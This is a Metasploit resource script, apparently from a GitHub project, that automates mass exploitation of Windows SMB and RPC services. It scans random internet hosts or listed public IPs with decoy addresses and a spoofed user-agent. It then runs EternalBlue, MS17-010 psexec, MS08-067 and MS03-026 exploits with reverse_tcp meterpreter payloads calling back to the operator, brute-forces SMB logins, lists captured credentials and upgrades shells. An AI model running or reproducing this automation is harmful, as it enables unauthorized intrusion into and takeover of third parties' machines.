-
Notifications
You must be signed in to change notification settings - Fork 39
/
ms17_010.rc
421 lines (386 loc) · 18.7 KB
/
ms17_010.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
##
# Script: ms17_010.rc
# Author: r00t-3xp10it <pedroubuntu10[at]gmail.com>
# GitHub: https://github.com/r00t-3xp10it/resource_files
# -
# [OPTIONS]
# setg SAVE_DB true - Save workspace mosquito to database.xml
# setg LIMMIT 1000 - Limmit the number of random WAN hosts to search
# setg LHOST 192.168.1.71 - The local ip address to use in msf payload build.
# setg RANDOM_HOSTS true - To instruct db_nmap to random search in WAN for hosts with ports open
# setg RHOSTS 46.147.255.230 194.58.118.182 162.246.22.133 - To instruct db_nmap to scan hosts for ports open.
# setg PAYLOAD windows/meterpreter/reverse_tcp - Payload to use in remote exploitation attempt.
# setg USERPASS_FILE /root/my_dicionary.txt - To instruct auxiliarys to use our own dicionary file
# -
# [SYNTAX EXAMPLES]
# msf5 > setg RANDOM_HOSTS true;resource /root/ms17_010.rc'
# msfconsole -q -x 'setg RANDOM_HOSTS true;resource /root/ms17_010.rc'
##
<ruby>
run_single("workspace -a mosquito")
help = %Q|
🦟__________
_______🦟________________________ ___(_) _ /______🦟
__ __ __ \\ __ \\_ ___/ __ / / / /_ /_ __/ __ \\
🦟_ / / / / / /_/ /(__ )/ /_/ // /_/ /_ / / /_ / /_/ /
/_/ /_/ /_/\\____//____/ \\__, / \\__,_/ /_/ \\__/ \\____/
🦟 /_/ 🦟
Script: ms17_010.rc
Author: r00t-3xp10it <pedroubuntu10[at]gmail.com>
GitHub: https://github.com/r00t-3xp10it/resource_files
|
print_line(help)
Rex::sleep(1.5)
## Make sure we are connected to db
unless framework.db.active
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] Database not connected to postgresql.")
Rex::sleep(2.0)
err = %Q|
Remark
------
This resource script requires the msf database connected to postgresql.
Connect DB To Postgresql
------------------------
[execute] service postgresql start
[execute] msfconsole -q -x 'resource ms17_010.rc'
|
print_line(err)
print_error("please wait, cleaning recent configurations.")
run_single("unsetg all")
run_single("exit -y")
return nil
else
local = Dir.pwd
work_name = framework.db.workspace.name
print_good("Database connected to postgresql.")
print_status("Working in workspace: *#{work_name}")
Rex::sleep(1.0)
ip_range = File.read("ip_range.txt") if File.exist?("ip_range.txt")
end
## Sellect the type of nmap scan to use
if (framework.datastore['RANDOM_HOSTS'] == "true")
if (framework.datastore['LIMMIT'] == nil or framework.datastore['LIMMIT'] == '')
run_single("setg LIMMIT 600")
print_line("RHOSTS => Random Search in WAN for:#{framework.datastore['LIMMIT']} alive hosts")
else
print_line("LIMMIT => #{framework.datastore['LIMMIT']}")
print_line("RHOSTS => Random Search in WAN for:#{framework.datastore['LIMMIT']} alive hosts")
end
elsif (framework.datastore['RHOSTS'] == nil or framework.datastore['RHOSTS'] == '')
run_single("setg RHOSTS #{ip_range}.0/24")
elsif (framework.datastore['RHOSTS'])
print_line("RHOSTS => #{framework.datastore['RHOSTS']}")
end
## Metasploit payload to send (exploitation)
if (framework.datastore['PAYLOAD'] == nil or framework.datastore['PAYLOAD'] == '')
run_single("setg PAYLOAD windows/meterpreter/reverse_tcp")
else
print_line("PAYLOAD => #{framework.datastore['PAYLOAD']}")
end
## Metasploit auxiliarys brute force dicionary absoluct path
if (framework.datastore['USERPASS_FILE'] == nil or framework.datastore['USERPASS_FILE'] == '')
run_single("setg USERPASS_FILE #{local}/bin/wordlists/multi_services_wordlist.txt")
else
print_line("USERPASS_FILE => #{framework.datastore['USERPASS_FILE']}")
end
## db_nmap WAN or RHOSTS or LOCAL_LAN scan settings
# HINT: nmap will use a fake user-agent string (iPhone:Safari) while scanning.
if (framework.datastore['RHOSTS'] == "#{ip_range}.0/24")
run_single("db_nmap -sS -v -Pn -n -T4 -O -p 135,139,445 --open --script=banner.nse,http-headers.nse,smb-os-discovery.nse,smb-vuln-ms17-010.nse --script-args http.useragent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\" #{framework.datastore['RHOSTS']}")
elsif (framework.datastore['RANDOM_HOSTS'] == "true")
print_status("Nmap: search for random remote hosts with ports 135:139:445 open")
run_single("db_nmap -sS -vvv -Pn -n -T4 -iR #{framework.datastore['LIMMIT']} -p 135,139,445 --open --script=banner.nse,http-headers.nse,smb-os-discovery.nse,smb-vuln-ms17-010.nse --script-args http.useragent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\" -D 172.217.17.4,65.49.82.3")
else
run_single("db_nmap -sS -v -Pn -n -T4 -O -p 135,139,445 --open --script=banner.nse,http-headers.nse,smb-os-discovery.nse,smb-vuln-ms17-010.nse --script-args http.useragent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\" -D 172.217.17.4,65.49.82.3 #{framework.datastore['RHOSTS']}")
end
## Read metasploit database
if File.directory?("#{local}/logs")
run_single("spool #{local}/logs/ms17_010.log")
end
print_line("")
run_single("services")
## rhosts geolocation (geoip-bin)
if (File.exist?("/usr/bin/geoiplookup"))
print_line("Geo-Location")
print_line("------------")
## Mapping database hosts (loop)
framework.db.hosts.map(&:address).each do |sHost|
geo_location = `geoiplookup #{sHost}|cut -d ':' -f2|tr -d '\n'`
spl_range = sHost.split('.')
## Make sure we are NOT geolocating Internal ip(s)
if (spl_range[0] == "192" and spl_range[1] == "168")
print_line("#{sHost} - Not available (Internal IP Address)")
else
print_line("#{sHost} - #{geo_location}")
end
end
end
print_line("")
Rex::sleep(2.0)
## Read the database (metasploit)
print_good("Sellecting target hosts from msf database.")
xhost = framework.db.hosts.map(&:address).join(' ')
xport = framework.db.services.map(&:port).join(' ')
proto = framework.db.services.map(&:proto).join(' ')
xname = framework.db.hosts.map(&:os_name).join(' ').gsub(' ',', ')
Rex::sleep(2.0)
## Make sure that exists hosts/ports (open) in database
if xhost.nil? or xhost == '' or xhost == ' '
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] db_nmap scan did not find any alive connections.")
print_error("please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unset all")
run_single("unsetg all")
run_single("workspace -d mosquito")
return nil
elsif xport.nil? or xport == '' or xport == ' '
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] db_nmap did not find any 135:139:445 open ports.")
print_error("please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unset all")
run_single("unsetg all")
run_single("workspace -d mosquito")
return nil
end
run_single("setg RHOSTS #{xhost}")
## Make sure we have LHOST option set
if (framework.datastore['LHOST'] == nil or framework.datastore['LHOST'] == '')
print_error("[ERROR] LHOST option not set.")
Rex::sleep(2.0)
err = %Q|
Remark
------
This resource script requires LHOST option set to be abble
to send a payload to target hosts to spawn a session back.
Set your local host (LHOST)
---------------------------
[execute] setg LHOST 192.168.1.71
[execute] resource ms17_010.rc
|
print_line(err)
run_single("unset all")
run_single("unsetg all")
run_single("workspace -d mosquito")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
return nil
else
local_ip = "#{framework.datastore['LHOST']}"
end
## Make sure that freevulnseach.nse exists
Rex::sleep(2.0)
nse = "/usr/share/nmap/scripts/freevulnsearch.nse"
unless (File.exist?(nse))
print_error("[ERROR] freevulnsearch.nse/vulners.nse script(s) not found in nmap db.")
print_error("[ERROR] Download nse script(s) and install it before running this rc file.")
Rex::sleep(1.0)
nof = %Q|
How To Fix
----------
Exit current session and msfconsole < exit AND exit -y >
Then execute the follow commands in a new terminal windows:
sudo wget https://raw.githubusercontent.com/OCSAF/freevulnsearch/master/freevulnsearch.nse
sudo cp freevulnsearch.nse /usr/share/nmap/scripts/freevulnsearch.nse
sudo wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/vulners.nse
sudo cp vulners.nse /usr/share/nmap/scripts/vulners.nse
sudo nmap --script-updatedb
|
print_line(nof)
print_error("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d mosquito")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
return nil
else
print_good("freevulnsearch.nse/vulners.nse script(s) found.")
end
## Remote Exploitation
if xport =~ /445/ or proto =~ /(smb|microsoft-ds|netbios-ssn|msrpc)/i
print_warning("Remote Target port: 445 smb found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/smb/smb_version")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("use auxiliary/scanner/smb/smb_enumusers")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("use auxiliary/scanner/smb/smb_enumshares")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("use auxiliary/scanner/smb/smb_ms17_010")
run_single("set LHOST #{local_ip}")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
## Try to exploit remote targets
print "[?] Exploit smb service (y|n)? "
question = gets.chomp
if question == "y" or question == "Y" or question == "yes" or question == "YES"
run_single("use exploit/windows/smb/ms08_067_netapi")
run_single("set THREADS 200")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("use exploit/windows/smb/ms17_010_psexec")
run_single("set LHOST #{local_ip}")
run_single("set PAYLOAD #{framework.datastore['PAYLOAD']}")
run_single("set THREADS 200")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("jobs -K")
run_single("use exploit/windows/smb/ms17_010_eternalblue")
run_single("set VERBOSE true")
run_single("set LHOST #{local_ip}")
run_single("set PROCESSNAME lsass.exe")
run_single("set PAYLOAD #{framework.datastore['PAYLOAD']}")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("jobs -K")
end
## run brute force auxiliary module?
run_single("use auxiliary/scanner/smb/smb_login")
run_single("set USERPASS_FILE #{framework.datastore['USERPASS_FILE']}")
run_single("set STOP_ON_SUCCESS true")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
end
if xport =~ /(135|139)/ or proto =~ /(msrpc|netbios-ssn)/i
print_warning("Remote Target port: 135 msrpc found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/dcerpc/endpoint_mapper")
run_single("set THREADS 55")
print_line("")
run_single("services -c port -p 135,139 -R")
run_single("exploit")
run_single("use auxiliary/scanner/dcerpc/hidden")
run_single("set THREADS 55")
print_line("")
run_single("services -c port -p 135,139 -R")
run_single("exploit")
## Try to exploit remote targets
run_single("use exploit/windows/dcerpc/ms03_026_dcom")
run_single("set THREADS 200")
run_single("set LHOST #{local_ip}")
run_single("set PAYLOAD #{framework.datastore['PAYLOAD']}")
print_line("")
run_single("services -c port -p 135,139 -R")
run_single("exploit")
run_single("jobs -K")
run_single("use exploit/windows/dcerpc/ms03_026_dcom")
run_single("set THREADS 200")
run_single("set LHOST #{local_ip}")
run_single("set PAYLOAD #{framework.datastore['PAYLOAD']}")
print_line("")
run_single("services -c port -p 135,139 -R")
run_single("exploit")
run_single("jobs -K")
end
## Running freevulnsearch.nse (scan for CVE's)
print "[?] Scan for possible CVE's? (y/n): "
question = gets.chomp
if question == "y" or question == "Y"
print "[?] Use 'freevulnsearch.nse' or 'vulners.nse'? :"
query_nse = gets.chomp
if query_nse.nil? or query_nse == ''
query_nse = "vulners.nse"
end
displ = %Q|
MMMMMMMMMMM'""""'YMMM MM""MMMMM""MM MM""""""""`MMMMMMMMMM
MMMMMMMMMM' .mmm. `MM MM MMMMM MM MM mmmmmmmMMMMMMMMMM
MMMMMMMMMM MMMMMooMM MM MMMMP MM MM` MMMMMMMMMMMM
MMMMMMMMMM MMMMMMMMM MM MMMM' .MM MM MMMMMMMMMMMMMMMMM
MMMMMMMMMM. `MMM' .MM MM MMP' .MMM MM MMMMMMMMMMMMMMMMM
MMMMMMMMMMM. .dMM MM .dMMMM MM .MMMMMMd@bM
MMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMM
freevulnsearch.nse by: Mathias Gut
vulners.nse by: gmedian
|
print_line(displ)
print_good("[#{query_nse}] Running CVE checks againts: #{framework.datastore['RHOSTS']}")
run_single("db_nmap -sV -v -T4 -Pn -n --script=#{query_nse} #{framework.datastore['RHOSTS']} --open -oN CVEs.txt")
## suggest exploits based on CVE number
query_numb = `cat CVEs.txt|grep -m 20 'CVE-'|awk {'print $2'}|cut -d '-' -f1,2,3`
# Make sure we get any CVE number back
parse_trail = query_numb.split(' ')
unless (parse_trail.empty? or parse_trail.nil? or parse_trail == '')
print "[?] Suggest exploits to CVEs found ? (y/n):"
query_cve = gets.chomp
if query_cve == "y" or query_cve == "Y"
# Use msfconsole search core command to search for compatible exploits
print_line("")
print_good("searching in metasploit database for compatible exploits..")
Rex::sleep(1.0)
(parse_trail).each do |id|
print_status("search cve:#{id} type:exploit rank:good rank:great rank:excellent")
Rex::sleep(0.5)
run_single("search cve:#{id} type:exploit rank:good rank:great rank:excellent")
Rex::sleep(1.0)
end
end
else
# None CVEs IDs found in nmap scans
print_error("[NONE CVEs FOUND] Abort Suggest exploits module execution.")
Rex::sleep(1.5)
end
end
## Make sure logs folder exists!
if File.directory?("#{local}/logs")
## Save current database to local file (xml)
if (framework.datastore['SAVE_DB'] == "true")
rand = Rex::Text.rand_text_alpha(5)
print_warning("Exporting database to: #{local}/logs/database_#{rand}.xml")
run_single("db_export -f xml -a #{local}/logs/database_#{rand}.xml")
end
end
print_line("")
## Display active sessions
run_single("sessions -l")
print_line("")
run_single("creds")
print_line("")
## Cleaning database and unset global variables
print_warning("Cleaning global variables.")
Rex::sleep(1.5)
run_single("unsetg all")
run_single("unset all")
run_single("workspace -d mosquito")
## Upgrade command shell to meterpreter?
if (framework.sessions.length > 0)
print "[?] Upgrade command shell to meterpreter? (y/n):"
upgrate_met = gets.chomp
if upgrate_met == "y" or upgrate_met == "Y"
run_single("use post/multi/manage/shell_to_meterpreter")
# Loop truth sessions to grab the session ID
framework.sessions.each_key do |sid|
run_single("set SESSION #{sid}")
run_single("run")
end
print_line("")
run_single("sessions -l")
print_line("")
end
end
dtr = `date`
## Writting ['xhost(s)'] to mosquito logfile
if File.directory?("#{local}/logs")
print_status("Logfile stored under: #{local}/logs/ms17_010.log")
run_single("echo \"[#{dtr}] ms17_010: #{xhost}\" >> logs/mosquito.log")
end
File.delete("CVEs.txt") if File.exist?("CVEs.txt")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
run_single("back")
</ruby>